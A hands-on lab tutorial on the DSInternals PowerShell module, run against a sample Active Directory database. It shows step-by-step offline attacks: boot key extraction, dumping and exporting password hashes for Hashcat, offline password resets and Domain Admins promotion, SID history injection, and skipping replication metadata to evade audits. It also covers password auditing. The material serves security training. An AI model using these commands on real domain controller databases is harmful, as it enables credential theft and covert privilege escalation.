#CQLabs – DSInternals PowerShell Module by Michael Grafnetter
CQLabs – Offline Attacks on Active Directory
Introduction
This lab will guide you through some of the most interesting features of the DSInternals PowerShell Module, which was featured at Black Hat Europe 2019 and is also included in FireEye’s Commando VM. This open-source toolset exposes many internal and undocumented security-related features of Active Directory (AD), but we will primarily focus on its state-of-the-art offline database access capabilities. In the course of this lab, you will learn how to perform Active Directory password audits, offline password resets and group membership changes, or SID history injection.
Active Directory Database
The Active Directory database contains information about objects such as user accounts, computers, groups, contacts, organizational units, printers, and security policies. Servers hosting this database are called Domain Controllers (DCs) and expose the information through a plethora of network protocols, including the Lightweight Directory Access Protocol (LDAP).
Database files, transaction logs and checkpoint files are typically stored in the C:\Windows\NTDS
directory on all DCs. The main database file is called ntds.dit
. The following diagram shows the data store physical structure:
Sensitive information in the ntds.dit file is encrypted using the Boot Key (sometimes called System Key or SysKey), which is unique to each DC and is located deep in the HKEY_LOCAL_MACHINE\SYSTEM
registry hive. This hive is physically stored in the C:\Windows\system32\config\SYSTEM
file.
Setting Things Up
To be able to perform all exercises in this lab, you need to prepare the following:
1. Windows 10 Computer
First of all, you will need a Windows 10 computer with internet connectivity and local administrative rights. A virtual machine can be used instead of a physical computer.
Note that the DSInternals PowerShell module relies heavily on Win32 API calls that are not available in PowerShell Core for Linux and Mac. As a result, Windows is the only supported platform.
2. Sample Database
Download our sample AD database and extract it to a local directory.
The archive contains an Install From Media (IFM) backup that was created on a test DC by running the following command:
ntdsutil.exe "Activate Instance NTDS" IFM "Create Full C:\ADBackup" Quit Quit
3. DSInternals PowerShell Module
Download and install the DSInternals PowerShell module by running the following sequence of commands in an elevated PowerShell console:
Install-PackageProvider -Name NuGet -Scope AllUsers -Force -ForceBootstrap
Install-Module -Name DSInternals -Scope AllUsers -Repository PSGallery -Force
See the documentation for alternate ways of installing the module.
4. PowerShell Execution Policy
Ensure that PowerShell scripts can be executed on your computer by running the following command in an elevated PowerShell console:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope LocalMachine -Force
Alternatively, you can enable script execution for the current PowerShell session (window) only:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force
5. Password Hashes from HaveIBeenPwned (Optional)
Download and unzip the list of leaked passwords in the form of NTLM hashes (ordered by hash) from the Have I Been Pwned (HIBP) website.
Exercise 1: Inspecting the Database
Let’s start by inspecting the sample database by running the following PowerShell command:
Get-ADDBDomainController -DatabasePath '.\ADBackup\Active Directory\ntds.dit'
Do not forget to modify the path to the ntds.dit file, if necessary. You should get an output like this:
Name : HELLO-DC
DNSHostName : Hello-DC.contoso.com
ServerReference : CN=HELLO-DC,OU=Domain Controllers,DC=contoso,DC=com
DomainName : contoso.com
ForestName : contoso.com
NetBIOSDomainName : contoso
DomainSid : S-1-5-21-1236425271-2880748467-2592687428
DomainGuid : 262d915a-3c58-4614-86c0-f9fb3f1aa1cd
Guid : 63e4830e-19ab-423b-8e64-799341f821f3
Sid : S-1-5-21-1236425271-2880748467-2592687428-1001
DomainMode : WinThreshold
ForestMode : WinThreshold
SiteName : Default-First-Site-Name
DsaGuid : 27d34172-86e0-4da1-83f5-4a9ce2aa318f
InvocationId : 27d34172-86e0-4da1-83f5-4a9ce2aa318f
IsADAM : False
IsGlobalCatalog : True
Options : GlobalCatalog
OSName : Windows Server 2019 Datacenter
OSVersion : 10.0
OSVersionMajor : 10
OSVersionMinor : 0
DomainNamingContext : DC=contoso,DC=com
ConfigurationNamingContext : CN=Configuration,DC=contoso,DC=com
SchemaNamingContext : CN=Schema,CN=Configuration,DC=contoso,DC=com
WritablePartitions : {DC=contoso,DC=com, CN=Configuration,DC=contoso,DC=com,
CN=Schema,CN=Configuration,DC=contoso,DC=com,
DC=DomainDnsZones,DC=contoso,DC=com...}
State : BackedUp
HighestCommittedUsn : 348170
UsnAtIfm :
BackupUsn : 344876
BackupExpiration : 5/26/2020 8:46:10 PM
Epoch : 962
Notice that the database file comes from a DC running Windows Server 2019.
Note that if the database had transaction logs that were located in a different directory than the database itself, you would need to specify their location using the -LogPath
parameter.
In case you see a red error message instead of the output above, read the next chapter. You can otherwise skip to Exercise 2.
If Things Do Not Work
Before opening a database that originates from a different Windows version or build, you sometimes need to defragment it first by running the following sequence of commands:
cd "ADBackup\Active Directory"
esentutl.exe /d ntds.dit
Our sample database is in a clean state. It would otherwise have to be repaired by replaying the corresponding transaction logs. This can be achieved by running the following sequence of commands:
cd "ADBackup\Active Directory"
esentutl.exe /r edb /d
Additionally, the built-in esentutl tool might fail to open a database that originates from Windows Server 2016 or newer and throw the following error message instead:
Operation terminated with error -2102 (JET_errCallbackNotResolved, A callback function could not be found) after 9.78 seconds.
This issue can be resolved by installing the Active Directory Lightweight Directory Services Windows component by executing the following command in an elevated PowerShell console:
Enable-WindowsOptionalFeature -FeatureName 'DirectoryServices-ADAM-Client' -Online
Note that this component is not available on Windows 10 Home edition.
Exercise 2: Decrypting Password Hashes
In order to decrypt the database, we first need to retrieve the encryption key from the registry hive by running the following command in an elevated PowerShell console:
Get-BootKey -SystemHiveFilePath '.\ADBackup\registry\SYSTEM'
Upon success, the cmdlet should return the following 16 byte key:
0be7a2afe1713642182e9b96f73a75da
We can now extract information about a specific account called john:
Get-ADDBAccount -SamAccountName john `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit' `
-BootKey 0be7a2afe1713642182e9b96f73a75da
The ouput should look like this:
DistinguishedName: CN=John Doe,CN=Users,DC=contoso,DC=com
Sid: S-1-5-21-1236425271-2880748467-2592687428-1109
Guid: ba684128-0a52-4678-9fb0-a64a5e2d8daa
SamAccountName: john
SamAccountType: User
UserPrincipalName: john@contoso.com
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount, PasswordNeverExpires
AdminCount: False
Deleted: False
LastLogon: 11/28/2019 1:01:08 PM
DisplayName: John Doe
GivenName: John
Surname: Doe
Description:
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited,
SystemAclAutoInherited, SelfRelative
Owner: S-1-5-21-1236425271-2880748467-2592687428-512
Secrets
NTHash: 92937945b518814341de3f726500d4ff
LMHash:
NTHashHistory:
Hash 01: 92937945b518814341de3f726500d4ff
LMHashHistory:
Hash 01: 49698ab21a946e12d16867fc22397e2f
SupplementalCredentials:
ClearText:
NTLMStrongHash: 4005dcb679e6074e6d5c4ade4424e3c4
Kerberos:
Credentials:
DES_CBC_MD5
Key: 13b940268f381058
OldCredentials:
Salt: CONTOSO.COMjohn
Flags: 0
KerberosNew:
Credentials:
AES256_CTS_HMAC_SHA1_96
Key: 3c10ebb8bbdcc5984f76b383a4be5a017683104a6e7b455830ac8780bfbd943d
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 84ae4ebcb1926532cd75282af3843f4d
Iterations: 4096
DES_CBC_MD5
Key: 13b940268f381058
Iterations: 4096
OldCredentials:
OlderCredentials:
ServiceCredentials:
Salt: CONTOSO.COMjohn
DefaultIterationCount: 4096
Flags: 0
WDigest:
Hash 01: f00ba765d5dc7f96f51eee09c9d15073
Hash 02: 64ed5aca3511ce792689ef22f60171b7
Hash 03: 6feb5c978a017abe5ab0477033a10716
Hash 04: f00ba765d5dc7f96f51eee09c9d15073
Hash 05: 64ed5aca3511ce792689ef22f60171b7
Hash 06: 70c4a6af2c87914956213c9f8d5501d8
Hash 07: f00ba765d5dc7f96f51eee09c9d15073
Hash 08: 03e2dea3f49cfdbfe824bfe0bba1d13a
Hash 09: 03e2dea3f49cfdbfe824bfe0bba1d13a
Hash 10: b3b750f5af85730b80168deb760252ff
Hash 11: c658e1b4cea74668e3697ccf904f24d5
Hash 12: 03e2dea3f49cfdbfe824bfe0bba1d13a
Hash 13: 04c15f1ab2a437ebfb3e85cb68adbd74
Hash 14: c658e1b4cea74668e3697ccf904f24d5
Hash 15: c573d863c07cb54fdaba93f4b8beaa7d
Hash 16: c573d863c07cb54fdaba93f4b8beaa7d
Hash 17: 78de656ae40f47f131abd456b0d255e9
Hash 18: eea99075b7aae3b2dd592803e0c873d2
Hash 19: 4b26792fee01f2847eac649a769a36f3
Hash 20: 551f4c2ad9b8c7fc877f323aa8634993
Hash 21: 2771cc7986a1d7f277d6bef582c743ed
Hash 22: 2771cc7986a1d7f277d6bef582c743ed
Hash 23: 81b393f32d35ee2ed2ad746708aba8d8
Hash 24: 29ef33ff503c50b479b3de7f620691e1
Hash 25: 29ef33ff503c50b479b3de7f620691e1
Hash 26: 6c0eb0698de0240d838d4c88945e93f9
Hash 27: e8a25f5627f9546e6db2ca7ee0672ef7
Hash 28: ec94c644269f4e976db94332c9e63104
Hash 29: cecfc528e19d607d1c8b0df151c9ac75
Key Credentials:
Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=8/26/2019 7:04:12 PM
Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=6/21/2019 4:04:56 PM
Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=7/11/2019 1:45:07 PM
Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=8/29/2019 1:20:36 PM
Usage=FIDO, Source=AzureAD, Device=00000000-0000-0000-0000-000000000000, Created=8/29/2019 1:25:45 PM
Usage=NGC, Source=AzureAD, Device=fd591087-245c-4ff5-a5ea-c14de5e2b32d, Created=7/19/2017 7:41:02 AM
Credential Roaming
Created: 11/28/2019 7:29:47 PM
Modified: 11/28/2019 7:29:47 PM
Credentials:
DPAPIMasterKey: bfefb3a6-5cdc-44f9-8521-a31feb3acdb1
DPAPIMasterKey: c14e7f69-3bf5-4c49-92d8-78d759d74ece
CNGCertificate: AF839B040D1257997A8D83EE71F96918F4C3EA01
CNGPrivateKey: 9F95F8E4F381BFFFD22B5EFAA013E53268451310
CNGPrivateKey: C9ABDF8DC38EA2BA2E20AEC770D91210FF919F87
CryptoApiCertificate: DEFFADB62EE547CB88973DF664C4DC958E8E64D8
CNGCertificate: 49FD324E5CC4A6020AC9D12D4311C7B33393A1C4
CryptoApiCertificate: 4E951C29567A261B2E90C94BCCEFAE1FA878A2CB
RSAPrivateKey: 0581f4e6088649266038726d9f8786a9_edc46440-65c9-41ce-aaeb-73754e0e38c8
RSAPrivateKey: 4771dfabcc8ad1ec2c84c489df041fad_edc46440-65c9-41ce-aaeb-73754e0e38c8
Notice that AD contains multiple types of password hashes in order to support different authentication protocols, including Kerberos, NTLM, and WDigest.
We might also be interested in the built-in Administrator account. As some companies rename this account, it is safer to locate it by its well-known security identifier (SID), which always ends with 500 (AKA relative identifier or RID):
$dc = Get-ADDBDomainController -DatabasePath '.\ADBackup\Active Directory\ntds.dit'
$adminSid = '{0}-500' -f $dc.DomainSid
Get-ADDBAccount -Sid $adminSid `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit' `
-BootKey 0be7a2afe1713642182e9b96f73a75da
The output is very similar to the previous example:
DistinguishedName: CN=Administrator,CN=Users,DC=contoso,DC=com
Sid: S-1-5-21-1236425271-2880748467-2592687428-500
Guid: b3d02974-6b1c-484c-9103-fd2f60d592c4
SamAccountName: Administrator
SamAccountType: User
UserPrincipalName:
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount, PasswordNeverExpires
AdminCount: True
Deleted: False
LastLogon: 11/18/2019 11:50:39 AM
DisplayName:
GivenName:
Surname:
Description: Built-in account for administering the computer/domain
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited,
SystemAclAutoInherited, DiscretionaryAclProtected, SelfRelative
Owner: S-1-5-21-1236425271-2880748467-2592687428-512
Secrets
NTHash: 92937945b518814341de3f726500d4ff
LMHash:
NTHashHistory:
LMHashHistory:
SupplementalCredentials:
ClearText:
NTLMStrongHash: fa3c6331960890a22ad12fadf47128ef
Kerberos:
Credentials:
DES_CBC_MD5
Key: 89374a01bf7f2aa7
OldCredentials:
Salt: HELLO-DCAdministrator
Flags: 0
KerberosNew:
Credentials:
AES256_CTS_HMAC_SHA1_96
Key: 71a79d72fec8d2adc5940c7b4ae77ed9e306213db99236090cb1835a2f4e6de7
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 6ffec6b70dc863db1906a5507c0576ee
Iterations: 4096
DES_CBC_MD5
Key: 89374a01bf7f2aa7
Iterations: 4096
OldCredentials:
OlderCredentials:
ServiceCredentials:
Salt: HELLO-DCAdministrator
DefaultIterationCount: 4096
Flags: 0
WDigest:
Key Credentials:
Credential Roaming
Created:
Modified:
Credentials:
Exercise 3: Exporting Password Hashes
There are many password cracking tools that can be used to perform dictionary or brute-force attacks against NT hashes (that is MD4 hashes) of passwords that are contained in the AD database and thus identify user accounts with weak passwords. One of the more popular ones is Hashcat and DSInternals can be used to export data in a format that is understood by this tool:
Get-ADDBAccount -All `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit' `
-BootKey 0be7a2afe1713642182e9b96f73a75da |
Format-Custom -View HashcatNT |
Out-File -FilePath .\users.txt -Encoding ASCII
The contents of the users.txt
file should look like this (truncated):
Guest:
Install:92937945b518814341de3f726500d4ff
krbtgt:652e1a17a59abfa580cbef6bf537d1df
AdfsService:3ac433014b4d5b1b4bc8a5350153ea93
john:92937945b518814341de3f726500d4ff
joe:92937945b518814341de3f726500d4ff
Frooll1994:085e145aaf5ff13d4e582ef3ed17a667
Plefor:e698fde7dba9ca9fc5914289eb726abe
See the documentation for a full list of supported export formats.
Exercise 4: Auditing Password Quality
For security reasons, some companies are reluctant to use password cracking tools. That is why DSInternals has a built-in password auditing capability:
# Create a sample text file containing banned/weak passwords
'Pa55w.rd','December2019','November2019' > '.\banned-passwords.txt'
# Read all accounts from the AD database and test them against the provided lists of weak passwords
Get-ADDBAccount -All `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit' `
-BootKey 0be7a2afe1713642182e9b96f73a75da |
Test-PasswordQuality -WeakPasswords 'Pa$$w0rd','Password123' `
-WeakPasswordsFile '.\banned-passwords.txt' `
-WeakPasswordHashesSortedFile '.\pwned-passwords-ntlm-ordered-by-hash-v4.txt'
The output should look like this:
Active Directory Password Quality Report
----------------------------------------
Passwords of these accounts are stored using reversible encryption:
Sory1992
LM hashes of passwords of these accounts are present:
These accounts have no password set:
Guest
Passwords of these accounts have been found in the dictionary:
Abouty
AdfsService
Administrator
Forsel
Install
joe
john
Messin
Nibeshe
Sloned
Thopliterce1964
Throson
Tilen2000
These groups of accounts have the same passwords:
Group 1:
Abouty
Administrator
Forsel
Install
joe
john
Group 2:
Messin
Sloned
Group 3:
Throson
Tilen2000
These computer accounts have default passwords:
PC01$
PC03$
Kerberos AES keys are missing from these accounts:
Thopliterce1964
Kerberos pre-authentication is not required for these accounts:
Countim
Madisenly
Theamorty
Only DES encryption is allowed to be used with these accounts:
Spitied
Stely1971
Theamorty
These administrative accounts are allowed to be delegated to a service:
AdfsService
Administrator
Install
Passwords of these accounts will never expire:
Abouty
AdfsService
Administrator
Affeard
Guest
Install
joe
john
These accounts are not required to have a password:
Guest
PC01$
PC02$
PC03$
In the example above, we are providing lists of weak passwords (dictionaries) to the Test-PasswordQuality
cmdlet in multiple ways: Directly in the command line parameters, in a text file containing one password per line and in a text file containing password hashes. Note that the -WeakPasswordHashesSortedFile
parameter should point to the list of leaked password hashes from HIBP. You can omit this parameter if you have not downloaded this list.
Exercise 5: Filtering Accounts
If it is desired to only check a subset of user accounts, we can use PowerShell’s built-in filtering capabilities. The following script will check passwords of accounts that are located in the Employees organizational unit (OU):
$organizationalUnit = 'OU=Employees,DC=contoso,DC=com'
Get-ADDBAccount -All `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit' `
-BootKey 0be7a2afe1713642182e9b96f73a75da |
Where-Object { $PSItem.DistinguishedName.EndsWith($organizationalUnit) } |
Test-PasswordQuality -WeakPasswords 'Pa$$w0rd','Password123'
Exercise 6: Performing Offline Modifications
Now let’s look at an account called hacker:
Get-ADDBAccount -SamAccountName hacker `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit' `
-BootKey 0be7a2afe1713642182e9b96f73a75da
Notice the following two lines in the output:
PrimaryGroupId: 513
Enabled: False
This means that hacker is a member of Domain Users and is disabled. We can change it by directly modifying the database:
Enable-ADDBAccount -SamAccountName hacker `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit'
Set-ADDBPrimaryGroup -SamAccountName hacker `
-PrimaryGroupId 512 `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit'
The account should now be enabled and a member of Domain Admins. As we do not know its password, we can perform an offline password reset:
$password = Read-Host -AsSecureString -Prompt 'Provide new password for user hacker'
Set-ADDBAccountPassword -SamAccountName hacker `
-NewPassword $password `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit' `
-BootKey 0be7a2afe1713642182e9b96f73a75da
If we now copied the database back to the original DC, we would be able to authenticate as user hacker.
Exercise 7: Injecting SID History
The sIDHistory attribute is commonly used during AD migrations and may contain historical SIDs of users and groups. For security reasons, it cannot be modified through the LDAP protocol and even the Active Directory Migration Tool (ADMT) cannot be used to write any arbitrary values into it. But we can again use DSInternals to inject any SID into sIDHistory
by directly modifying the database:
Add-ADDBSidHistory -SamAccountName hacker `
-SidHistory S-1-5-21-1236425271-2880748467-2592687428-500,
S-1-5-21-1236425271-2880748467-2592687428-512 `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit'
Note that S-1-5-21-1236425271-2880748467-2592687428
is the SID of the domain and 500 and 512 are well-known rids of the Administrator account and the Domain Admins group, respectively.
Exercise 8: Replication Metadata
All the commands from the previous exercises properly modified replication metadata. If we were on a live domain controller, the modified attribute values would thus get replicated to other DCs. This could also be checked using the repadmin
tool:
repadmin.exe /showobjmeta HELLO-DC "CN=hacker,CN=Users,DC=contoso,DC=com"
The output might look like this:
25 entries.
Loc.USN Originating DSA Org.USN Org.Time/Date Ver Attribute
======= =============== ========= ============= === =========
344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 objectClass
344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 cn
344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 instanceType
344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 whenCreated
368686 Default-First-Site-Name\HELLO-DC 368686 2019-12-05 14:31:06 2 nTSecurityDescriptor
344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 name
389412 Default-First-Site-Name\HELLO-DC 389412 2019-12-11 21:27:02 3 userAccountControl
344876 Default-First-Site-Name\HELLO-DC 344876 2019-11-28 18:45:45 1 codePage
344876 Default-First-Site-Name\HELLO-DC 344876 2019-11-28 18:45:45 1 countryCode
389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 dBCSPwd
344876 Default-First-Site-Name\HELLO-DC 344876 2019-11-28 18:45:45 1 logonHours
389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 unicodePwd
389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 ntPwdHistory
389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 pwdLastSet
389421 Default-First-Site-Name\HELLO-DC 389421 2019-12-11 21:27:22 3 primaryGroupID
389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 supplementalCredentials
344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 objectSid
368686 Default-First-Site-Name\HELLO-DC 368686 2019-12-05 14:31:06 1 adminCount
344876 Default-First-Site-Name\HELLO-DC 344876 2019-11-28 18:45:45 1 accountExpires
389409 Default-First-Site-Name\HELLO-DC 389409 2019-12-11 21:26:55 3 lmPwdHistory
344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 sAMAccountName
344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 sAMAccountType
344875 Default-First-Site-Name\HELLO-DC 344875 2019-11-28 18:45:45 1 objectCategory
368669 Default-First-Site-Name\HELLO-DC 368669 2019-12-05 14:17:10 1 lastLogonTimestamp
0 entries.
Type Attribute Last Mod Time Originating DSA Loc.USN Org.USN Ver
======= ============ ============= ================= ======= ======= ===
Distinguished Name
=============================
Notice how the version, time and USN of attributes userAccountControl
, dBCSPwd
, unicodePwd
, ntPwdHistory
, pwdLastSet
, primaryGroupID
, supplementalCredentials
, and lmPwdHistory
, that we intentionally modified, differs from the others.
In some cases, this default and correct behavior might be undesirable. Hence the optional -SkipMetaUpdate
parameter of all cmdlets that modify AD database:
Set-ADDBPrimaryGroup -SamAccountName hacker `
-PrimaryGroupId 512 `
-DatabasePath '.\ADBackup\Active Directory\ntds.dit' `
-SkipMetaUpdate
Changes performed using the command above would only stay locally instead of replicating to other DCs. This could be used by adversaries to hide from security audits.
Conclusion
You now know how to use the DSInternals PowerShell module to identify many violations of Active Directory security best practices, including bad credential hygiene. We have also discussed several attack vectors that would open to malicious attackers and insiders by gaining read/write access to either a physical or virtual hard drive of a DC containing its ntds.dit database file. Limiting access to domain controller hard drives is, therefore, an important aspect of keeping Active Directory secure. However, this task has become more complex in today’s era of virtualization and cloud computing.
To Be Continued…
The DSInternals PowerShell module can do so much more. We will explore more of its capabilities in a future lab.
Author
Michael Grafnetter is an expert on Active Directory security who works as a consultant, trainer, and researcher. He is best known as the author of the open-source Directory Services Internals (DSInternals) PowerShell module and Thycotic Weak Password Finder, tools used by security auditors and penetration testers worldwide. He holds a master’s degree in Software Engineering and is a former Microsoft MVP. Michael was a speaker at many conferences, including Black Hat Europe, HipConf New York, and BSides Lisbon.